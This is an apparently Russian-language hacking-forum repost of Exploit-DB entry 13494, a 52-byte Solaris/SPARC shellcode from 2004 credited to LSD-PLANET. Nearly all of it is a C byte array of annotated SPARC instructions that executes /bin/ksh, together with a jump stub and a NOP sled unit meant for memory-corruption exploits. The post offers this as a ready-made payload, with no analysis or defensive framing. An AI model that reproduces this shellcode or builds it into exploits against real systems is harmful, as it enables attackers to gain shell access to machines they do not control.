Exploit Solaris/SPARC - execve(/bin/sh) Shellcode (52 bytes)

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
13494
Проверка EDB
  1. Пройдено
Автор
LSD-PLANET
Тип уязвимости
SHELLCODE
Платформа
SOLARIS_SPARC
CVE
N/A
Дата публикации
2004-09-26
C:
//Solaris/Sparc - LSD
char shellcode[]=
    "\x20\xbf\xff\xff"     /* bn,a    <shellcode-4>        */
    "\x20\xbf\xff\xff"     /* bn,a    <shellcode>          */
    "\x7f\xff\xff\xff"     /* call    <shellcode+4>        */
    "\x90\x03\xe0\x20"     /* add     %o7,32,%o0           */
    "\x92\x02\x20\x10"     /* add     %o0,16,%o1           */
    "\xc0\x22\x20\x08"     /* st      %g0,[%o0+8]          */
    "\xd0\x22\x20\x10"     /* st      %o0,[%o0+16]         */
    "\xc0\x22\x20\x14"     /* st      %g0,[%o0+20]         */
    "\x82\x10\x20\x0b"     /* mov     0xb,%g1              */
    "\x91\xd0\x20\x08"     /* ta      8                    */
    "/bin/ksh"
;

char jump[]=
    "\x81\xc3\xe0\x08"     /* jmp     %o7+8                */
    "\x90\x10\x00\x0e"     /* mov     %sp,%o0              */
;

static char nop[]="\x80\x1c\x40\x11";

# milw0rm.com [2004-09-26]
 
Источник
www.exploit-db.com

Похожие темы